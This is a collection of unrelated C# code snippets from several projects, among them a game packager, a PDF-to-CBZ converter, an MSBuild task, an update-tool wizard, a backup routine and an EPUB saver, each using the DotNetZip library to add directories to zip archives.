File.Delete(savePath + "\\" + saveName + ".exe"); } if (File.Exists(savePath + "\\" + saveName + "\\" + saveName + ".love")) { File.Delete(savePath + "\\" + saveName + ".love"); } var readMeLines = new List <string>(); readMeLines.Add("Date: " + DateTime.Now.ToString("dd/MM/yyyy HH:mm") + " (Dernière build)"); readMeLines.Add(""); readMeLines.Add("Auteurs: \n" + autors.Text); readMeLines.Add(""); readMeLines.Add("Description: \n" + description.Text); readMeLines.Add(""); readMeLines.Add("Contrôles:"); foreach (string item in controls.Items) { readMeLines.Add(" - " + item); } readMeLines.Add(""); readMeLines.Add("Fonctionnalités:"); foreach (string item in features.Items) { readMeLines.Add(" - " + item); } readMeLines.Add(""); readMeLines.Add("Bugs connus:"); foreach (string item in bugs.Items) { readMeLines.Add(" - " + item); } if (File.Exists(savePath + "\\ReadMe.txt")) { File.Delete(savePath + "\\ReadMe.txt"); } File.WriteAllLines(savePath + "\\ReadMe.txt", readMeLines); zip.SaveProgress += SaveProgress; zip.CompressionLevel = CompressionLevel.Default; zip.AddDirectory(PathText.Text); // (Chemin accès, Chemin dans l'archive) string renamed = savePath + "\\" + saveName + "\\" + saveName + ".love"; zip.Save(renamed); timer.Interval = TimeSpan.FromSeconds(5); timer.Tick += timer_Tick; timer.Start(); progressBar1.Value = 0; each.Interval = TimeSpan.FromSeconds(1); each.Tick += each_Tick; each.Start(); } else if (Directory.Exists(PathText.Text)) { System.Windows.MessageBox.Show("Dossier de réception non indiqué", "Erreur"); } else { System.Windows.MessageBox.Show("Dossier à compresser introuvable", "Erreur"); } } }
/// <summary> /// Extract images from PDF and compress into a cbr archive /// </summary> private void CompressSingleFile() { evnt_UpdateFileName(this, e); //creating directory for extraction string tempFileName = Path.GetFileName(DataAccess.Instance.g_WorkingFile); string temporaryDir = DataAccess.Instance.g_WorkingFile; temporaryDir = temporaryDir.Replace(tempFileName, Path.GetFileNameWithoutExtension(DataAccess.Instance.g_WorkingFile)); //if the directory already exist, delete it if (Directory.Exists(temporaryDir)) { Directory.Delete(temporaryDir, true); } Directory.CreateDirectory(temporaryDir); int divider; if (_ReduceSize) { divider = 50; } else { divider = 80; } if (PdfFunctions.PDF_ExportImage(DataAccess.Instance.g_WorkingFile, temporaryDir, divider)) { if (DataAccess.Instance.g_Processing) { //compress files in a zip if (_ReduceSize) { CompressImage(); } string savedfile = temporaryDir + ".cbz"; using (ZipFile zip = new ZipFile()) { zip.AddDirectory(temporaryDir); // zip.Comment = "This zip was created at " + System.DateTime.Now.ToString("G"); zip.Save(savedfile); } //waiting the new sharpcompress release to fix it /* using (var archive = ZipArchive.Create()) * { * archive.AddAllFromDirectory(temporaryDir); * archive.SaveTo(savedfile, CompressionType.None); * }*/ //update progress bar DataAccess.Instance.g_curProgress = 0; evnt_UpdateCurBar(); } } else //error exporting the images { //update progress bar DataAccess.Instance.g_curProgress = 0; evnt_UpdateCurBar(); } //delete the temp dir if (Directory.Exists(temporaryDir)) { Directory.Delete(temporaryDir, true); } //if we are converting a single file and not a directory we are done, so i reset values and clean the UI if (IsSingleFile) { DataAccess.Instance.g_Processing = false; DataAccess.Instance.g_WorkingFile = string.Empty; evnt_UpdateFileName(this, e); } }
private void Create() { this.LogTaskMessage(string.Format(CultureInfo.CurrentCulture, "Creating ZipFile: {0}", this.ZipFileName)); if (this.CompressFiles != null) { using (ZipFile zip = new ZipFile()) { zip.ParallelDeflateThreshold = -1; zip.UseUnicodeAsNecessary = true; zip.CompressionLevel = this.compressLevel; if (!string.IsNullOrEmpty(this.Password)) { zip.Password = this.Password; } foreach (ITaskItem f in this.CompressFiles) { if (this.RemoveRoot != null) { string location = (f.GetMetadata("RootDir") + f.GetMetadata("Directory")).Replace(this.RemoveRoot.GetMetadata("FullPath"), string.Empty); zip.AddFile(f.GetMetadata("FullPath"), location); } else { zip.AddFile(f.GetMetadata("FullPath")); } } if (this.MaxOutputSegmentSize > 0) { zip.MaxOutputSegmentSize = this.MaxOutputSegmentSize; } zip.UseZip64WhenSaving = this.useZip64WhenSaving; zip.Save(this.ZipFileName.ItemSpec); } } else if (this.CompressPath != null) { using (ZipFile zip = new ZipFile()) { zip.ParallelDeflateThreshold = -1; zip.UseUnicodeAsNecessary = true; zip.CompressionLevel = this.compressLevel; if (!string.IsNullOrEmpty(this.Password)) { zip.Password = this.Password; } if (this.RemoveRoot != null) { DirectoryInfo d = new DirectoryInfo(this.CompressPath.ItemSpec); string location = d.FullName.Replace(this.RemoveRoot.GetMetadata("FullPath"), string.Empty); zip.AddDirectory(this.CompressPath.ItemSpec, location); } else { DirectoryInfo d = new DirectoryInfo(this.CompressPath.ItemSpec); zip.AddDirectory(this.CompressPath.ItemSpec, d.Name); } if (this.MaxOutputSegmentSize > 0) { zip.MaxOutputSegmentSize = this.MaxOutputSegmentSize; } zip.UseZip64WhenSaving = this.useZip64WhenSaving; zip.Save(this.ZipFileName.ItemSpec); } } else { Log.LogError("CompressFiles or CompressPath must be specified"); return; } }
private void continueButton_Click(object sender, EventArgs e) { backButton.Enabled = true; if (_sender == optionTabPage) { if (importProjectRadioButton.Checked) { wizardTabControl.SelectedTab = importTabPage; _sender = importTabPage; } else if (shareProjectRadioButton.Checked) { wizardTabControl.SelectedTab = shareTabPage; _sender = shareTabPage; } } else if (_sender == importTabPage) { if (!ValidationManager.Validate(importTabPage)) { Popup.ShowPopup(this, SystemIcons.Error, "Missing information found.", "All fields need to have a value.", PopupButtons.Ok); return; } if (!Path.IsPathRooted(projectToImportTextBox.Text) || !File.Exists(projectToImportTextBox.Text)) { Popup.ShowPopup(this, SystemIcons.Error, "Invalid path.", "The given local path for the project is invalid.", PopupButtons.Ok); return; } wizardTabControl.SelectedTab = importTabPage1; _sender = importTabPage1; } else if (_sender == importTabPage1) { if (!ValidationManager.Validate(importTabPage1)) { Popup.ShowPopup(this, SystemIcons.Error, "Missing information found.", "All fields need to have a value.", PopupButtons.Ok); return; } if (_projectConfigurations.Any(item => item.Name == projectNameTextBox.Text)) { Popup.ShowPopup(this, SystemIcons.Error, "Project already existing.", String.Format("A project with the name \"{0}\" does already exist.", projectNameTextBox.Text), PopupButtons.Ok); return; } try { string folderPath = Path.Combine(Program.Path, "ImpProj"); string statisticsFilePath = Path.Combine(folderPath, "statistics.php"); string projectFilePath = Path.Combine(folderPath, String.Format("{0}.nupdproj", projectNameTextBox.Text)); Directory.CreateDirectory(folderPath); var updateProject = UpdateProject.LoadProject(projectFilePath); if (updateProject.UseStatistics) { Popup.ShowPopup(this, SystemIcons.Warning, "Incompatible project.", "This project cannot be imported because the support for projects using statistics is currently missing. It will be available in the next version(s) of nUpdate Administration.", PopupButtons.Ok); Directory.Delete(folderPath); return; } //if (updateProject.ConfigVersion != "3b2") //{ // Popup.ShowPopup(this, SystemIcons.Warning, "Incompatible project.", "This project is not compatible to this version of nUpdate Administration. Please download the newest version of nUpdate Administration and then export the project again.", PopupButtons.Ok); // Directory.Delete(folderPath); // return; //} updateProject.Path = projectFilePathTextBox.Text; //if (updateProject.UseStatistics) //{ // var statisticsServers = Serializer.Deserialize<List<StatisticsServer>>(Path.Combine(Program.Path, "statservers.json")); // if (!statisticsServers.Any(item => item.WebUrl == updateProject.SqlWebUrl && item.DatabaseName == updateProject.SqlDatabaseName && item.Username == updateProject.SqlUsername)) // { // if (Popup.ShowPopup(this, SystemIcons.Information, "New statistics server found.", "This project uses a statistics server that isn't currently available on this computer. Should nUpdate Administration add this server to your list?", PopupButtons.YesNo) == DialogResult.Yes) // { // statisticsServers.Add(new StatisticsServer(updateProject.SqlWebUrl, updateProject.SqlDatabaseName, updateProject.SqlUsername)); // File.WriteAllText(Path.Combine(Program.Path, "statservers.json"), Serializer.Serialize(statisticsServers)); // } // } //} UpdateProject.SaveProject(updateProject.Path, updateProject); string projectPath = Path.Combine(Program.Path, "Projects", projectNameTextBox.Text); if (!Directory.Exists(projectPath)) { Directory.CreateDirectory(projectPath); } using (var zip = new ZipFile(projectToImportTextBox.Text)) { zip.ExtractAll(folderPath); } if (File.Exists(statisticsFilePath)) { File.Move(statisticsFilePath, Path.Combine(projectPath, "statistics.php")); } File.Move(projectFilePath, projectFilePathTextBox.Text); foreach (var versionDirectory in new DirectoryInfo(folderPath).GetDirectories()) { Directory.Move(versionDirectory.FullName, Path.Combine(projectPath, versionDirectory.Name)); } Directory.Delete(folderPath); _projectConfigurations.Add(new ProjectConfiguration(projectNameTextBox.Text, projectFilePathTextBox.Text)); File.WriteAllText(Program.ProjectsConfigFilePath, Serializer.Serialize(_projectConfigurations)); } catch (Exception ex) { Popup.ShowPopup(this, SystemIcons.Error, "Error while importing the project.", ex, PopupButtons.Ok); return; } Close(); } else if (_sender == shareTabPage) { wizardTabControl.SelectedTab = shareTabPage1; _sender = shareTabPage1; } else if (_sender == shareTabPage1) { if (!ValidationManager.Validate(shareTabPage1)) { Popup.ShowPopup(this, SystemIcons.Error, "Missing information found.", "All fields need to have a value.", PopupButtons.Ok); return; } if (!Path.IsPathRooted(projectOutputPathTextBox.Text)) { Popup.ShowPopup(this, SystemIcons.Error, "Invalid path.", "The given local path for the project is invalid.", PopupButtons.Ok); return; } try { string projectPath = Path.Combine(Program.Path, "Projects", projectsListBox.SelectedItem.ToString()); using (var zip = new ZipFile()) { string statisticsFilePath = Path.Combine(projectPath, "statistics.php"); if (File.Exists(statisticsFilePath)) { zip.AddFile(statisticsFilePath, "/"); } zip.AddFile( _projectConfigurations.First(item => item.Name == projectsListBox.SelectedItem.ToString()) .Path, "/"); foreach ( var versionDirectory in new DirectoryInfo(projectPath).GetDirectories() .Where(item => UpdateVersion.IsValid(item.Name))) { zip.AddDirectoryByName(versionDirectory.Name); zip.AddDirectory(versionDirectory.FullName, versionDirectory.Name); } zip.Save(projectOutputPathTextBox.Text); } } catch (Exception ex) { Popup.ShowPopup(this, SystemIcons.Error, "Error while sharing the project.", ex, PopupButtons.Ok); return; } Close(); } }
public void CreateDirectory(string dir2) { ZipFile?.AddDirectory(dir2); }
public static string ExportJson(string project, string module, List <string> languages, string exportPath, bool withDefaultValue = true) { using (var fastZip = new ZipFile()) { var filter = new ResCurrent { Project = new ResProject { Name = project }, Module = new ResModule { Name = module } }; var zipDirectory = Directory.CreateDirectory(exportPath + module); foreach (var language in languages) { filter.Language = new ResCulture { Title = language }; var words = ResourceData.GetListResWords(filter, string.Empty).GroupBy(x => x.ResFile.FileID).ToList(); if (!words.Any()) { Console.WriteLine("Error!!! Can't find appropriate project and module. Possibly wrong names!"); return(null); } foreach (var fileWords in words) { var wordsDictionary = new Dictionary <string, string>(); foreach ( var word in fileWords.OrderBy(x => x.Title).Where(word => !wordsDictionary.ContainsKey(word.Title))) { if (string.IsNullOrEmpty(word.ValueTo) && !withDefaultValue) { continue; } wordsDictionary[word.Title] = word.ValueTo ?? word.ValueFrom; if (!string.IsNullOrEmpty(wordsDictionary[word.Title])) { wordsDictionary[word.Title] = wordsDictionary[word.Title].TrimEnd('\n').TrimEnd('\r'); } } var firstWord = fileWords.FirstOrDefault(); var fileName = firstWord == null ? module : Path.GetFileNameWithoutExtension(firstWord.ResFile.FileName); var ext = Path.GetExtension(firstWord.ResFile.FileName); var zipFileName = zipDirectory.FullName + "\\" + fileName + (language == "Neutral" ? string.Empty : "." + language) + ext; using (TextWriter writer = new StreamWriter(zipFileName)) { if (ext == ".json") { var obj = JsonConvert.SerializeObject(wordsDictionary, Formatting.Indented); writer.Write(obj); } else { var data = new XmlDocument(); var resources = data.CreateElement("resources"); foreach (var ind in wordsDictionary) { var stringAttr = data.CreateAttribute("name"); stringAttr.Value = ind.Key; var child = data.CreateElement("string"); child.Attributes.Append(stringAttr); child.InnerText = ind.Value; resources.AppendChild(child); } data.AppendChild(resources); var settings = new XmlWriterSettings { Indent = true, IndentChars = " ", NewLineChars = Environment.NewLine, NewLineHandling = NewLineHandling.Replace, OmitXmlDeclaration = false, ConformanceLevel = ConformanceLevel.Fragment }; using (var xmlTextWriter = XmlWriter.Create(writer, settings)) { data.WriteTo(xmlTextWriter); xmlTextWriter.Flush(); } } } } } var zipPath = exportPath + "\\" + module + ".zip"; fastZip.AddDirectory(zipDirectory.FullName); fastZip.Save(zipPath); zipDirectory.Delete(true); return(zipPath); } }
public void Error_Read_WithoutSave() { string testBin = TestUtilities.GetTestBinDir(CurrentDir); string resourceDir = Path.Combine(testBin, "Resources"); Directory.SetCurrentDirectory(TopLevelDir); // add a directory to the zipfile, then try // extracting, without a Save. This should fail. using (ZipFile zip = new ZipFile()) { zip.AddDirectory(resourceDir, ""); Assert.IsTrue(zip.Entries.Count > 0); using (var s = zip[0].OpenReader()) // FAIL: has not been saved { byte[] buffer= new byte[1024]; int n; while ((n= s.Read(buffer,0,buffer.Length)) > 0) ; } } // should never reach this Assert.IsTrue(false); }
internal void Start(bool trayMode) { if (!Directory.Exists(Settings.WowExe + "\\WTF")) { Log.Print("Backup error: WTF directory isn't found"); if (trayMode) { MainForm.Instance.ShowNotifyIconMessage("Backup error", "\"WTF\" folder isn't found", ToolTipIcon.Error); } else { this.ShowTaskDialog("Backup error", "\"WTF\" folder isn't found", TaskDialogButton.OK, TaskDialogIcon.Stop); } return; } if (Utils.CalcDirectorySize(Settings.WowExe + "\\WTF") > 1000 * 1024 * 1024) { Log.Print("Backup error: WTF directory is too large", true); if (trayMode) { MainForm.Instance.ShowNotifyIconMessage("Backup error", "WTF directory is too large", ToolTipIcon.Error); } else { this.ShowTaskDialog("Backup error", "WTF directory is too large", TaskDialogButton.OK, TaskDialogIcon.Stop); } return; } Log.Print("BackupAddons :: Starting..."); DirectoryInfo backupDirectory = new DirectoryInfo(Settings.AddonsBackupPath); if (!backupDirectory.Exists) { backupDirectory.Create(); Log.Print("BackupAddons :: Backup directory created"); } List <FileInfo> backupFiles = backupDirectory.GetFileSystemInfos().Where(i => i.Name.Contains("AddonsBackup_") && i is FileInfo).Cast <FileInfo>().ToList(); Log.Print("BackupAddons :: Total backup files: " + backupFiles.Count); if (backupFiles.Count >= Settings.AddonsBackupNum) { // I place newest file to the end of list backupFiles.Sort((first, second) => { if (first.CreationTimeUtc > second.CreationTimeUtc) { return(1); } return(-1); }); for (int i = 0; i < backupFiles.Count - Settings.AddonsBackupNum + 1; i++) { backupFiles[i].Delete(); Log.Print("BackupAddons :: Old backup file is deleted: " + backupFiles[i].Name); } } if (trayMode) { MainForm.Instance.ShowNotifyIconMessage("Performing backup operation", "Please don't close AxTools until the operation is completed", ToolTipIcon.Info); } string zipPath = String.Format("{0}\\AddonsBackup_{1:yyyyMMdd_HHmmss}.zip", Settings.AddonsBackupPath, DateTime.UtcNow); Log.Print("BackupAddons :: Zipping to file: " + zipPath); try { using (ZipFile zip = new ZipFile(zipPath, Encoding.UTF8)) { zip.CompressionLevel = (CompressionLevel)Settings.BackupCompressionLevel; zip.AddDirectory(Settings.WowExe + "\\WTF", "\\WTF"); zip.AddDirectory(Settings.WowExe + "\\Interface", "\\Interface"); zip.SaveProgress += AddonsBackup_SaveProgress; zip.Save(); zip.SaveProgress -= AddonsBackup_SaveProgress; } Log.Print("BackupAddons :: Backup successfully created: " + zipPath); if (trayMode) { MainForm.Instance.ShowNotifyIconMessage("AddOns backup operation was successfully completed", "Backup file was stored in " + Settings.AddonsBackupPath, ToolTipIcon.Info); } else { this.ShowTaskDialog("Backup successful", "Backup file was stored in " + Settings.AddonsBackupPath, TaskDialogButton.OK, TaskDialogIcon.Information); } GC.Collect(); } catch (Exception ex) { Log.Print("BackupAddons :: Backup error: Zipping failed: " + ex.Message, true); this.ShowTaskDialog("Backup error", "Zipping failed\r\n" + ex.Message, TaskDialogButton.OK, TaskDialogIcon.Stop); } }
public void Password_BasicAddAndExtract() { int i; string[] Passwords = { null, "Password!", TestUtilities.GenerateRandomPassword(), "A" }; Ionic.Zlib.CompressionLevel[] compressionLevelOptions = { Ionic.Zlib.CompressionLevel.None, Ionic.Zlib.CompressionLevel.BestSpeed, Ionic.Zlib.CompressionLevel.Default, Ionic.Zlib.CompressionLevel.BestCompression, }; for (int k = 0; k < compressionLevelOptions.Length; k++) { for (int j = 0; j < Passwords.Length; j++) { TestContext.WriteLine("\n\n===================\nTrial ({0}) pw({1})", j, Passwords[j]); string ZipFileToCreate = Path.Combine(TopLevelDir, String.Format("Password_BasicAddAndExtract-{0}-{1}.zip", k, j)); Assert.IsFalse(File.Exists(ZipFileToCreate), "The temporary zip file '{0}' already exists.", ZipFileToCreate); Directory.SetCurrentDirectory(TopLevelDir); string DirToZip = String.Format("zipthis-{0}-{1}", k, j); Directory.CreateDirectory(DirToZip); TestContext.WriteLine("\n---------------------creating files and computing checksums..."); int NumFilesToCreate = _rnd.Next(10) + 10; string[] filenames = new string[NumFilesToCreate]; var checksums = new Dictionary<string, string>(); for (i = 0; i < NumFilesToCreate; i++) { filenames[i] = Path.Combine(DirToZip, String.Format("file{0:D3}.txt", i)); int sz = _rnd.Next(22000) + 3000; //int sz = 1000; var repeatedLine = String.Format("Line to Repeat... {0} {1} {2} filename: {3}", i, k, j, filenames[i]); TestUtilities.CreateAndFillFileText(filenames[i], repeatedLine, sz); string key = Path.GetFileName(filenames[i]); checksums.Add(key, TestUtilities.GetCheckSumString(filenames[i])); TestContext.WriteLine(" chk[{0}]={1}", key, checksums[key]); } TestContext.WriteLine("\n---------------------adding files to the archive..."); var sw = new StringWriter(); using (ZipFile zip = new ZipFile(ZipFileToCreate, sw)) { zip.CompressionLevel = compressionLevelOptions[k]; zip.Password = Passwords[j]; zip.AddDirectory(Path.GetFileName(DirToZip)); zip.Save(); } TestContext.WriteLine(sw.ToString()); Assert.AreEqual<int>(TestUtilities.CountEntries(ZipFileToCreate), NumFilesToCreate, "The Zip file has an unexpected number of entries."); TestContext.WriteLine("\n---------------------verifying checksums..."); using (ZipFile zip = ZipFile.Read(ZipFileToCreate)) { foreach (ZipEntry e in zip) TestContext.WriteLine("found entry: {0}", e.FileName); var extractDir = String.Format("extract-{0}-{1}", k, j); TestContext.WriteLine(" Extract with pw({0})", Passwords[j]); foreach (ZipEntry e in zip) { e.ExtractWithPassword(extractDir, ExtractExistingFileAction.OverwriteSilently, Passwords[j]); if (!e.IsDirectory) { byte[] c2 = TestUtilities.ComputeChecksum(Path.Combine(extractDir, e.FileName)); Assert.AreEqual<string>(checksums[e.FileName], TestUtilities.CheckSumToString(c2), "The checksum of the extracted file is incorrect."); } } } TestContext.WriteLine("\n"); } } }
/// <summary> /// Save the EPUB using Ionic zip library /// </summary> /// <param name="EpubFileName"></param> private void SaveEpubFile(String EpubFileName) { if (File.Exists(EpubFileName)) File.Delete(EpubFileName); using (ZipFile zip = new ZipFile(EpubFileName)) { // MUST save the 'mimetype' file as the first file and non-compressed zip.ForceNoCompression = true; zip.AddFile(Path.Combine(mainDir, "mimetype"), ""); // Can compress all other files zip.ForceNoCompression = false; zip.AddDirectory(metaDir, "META-INF"); zip.AddDirectory(opsDir, "OPS"); zip.Save(); Directory.Delete(mainDir, true); if (ddlType.Text == "Html") if (workingFileName.ToLower() != tbxFileName.Text.ToLower()) File.Delete(workingFileName); } }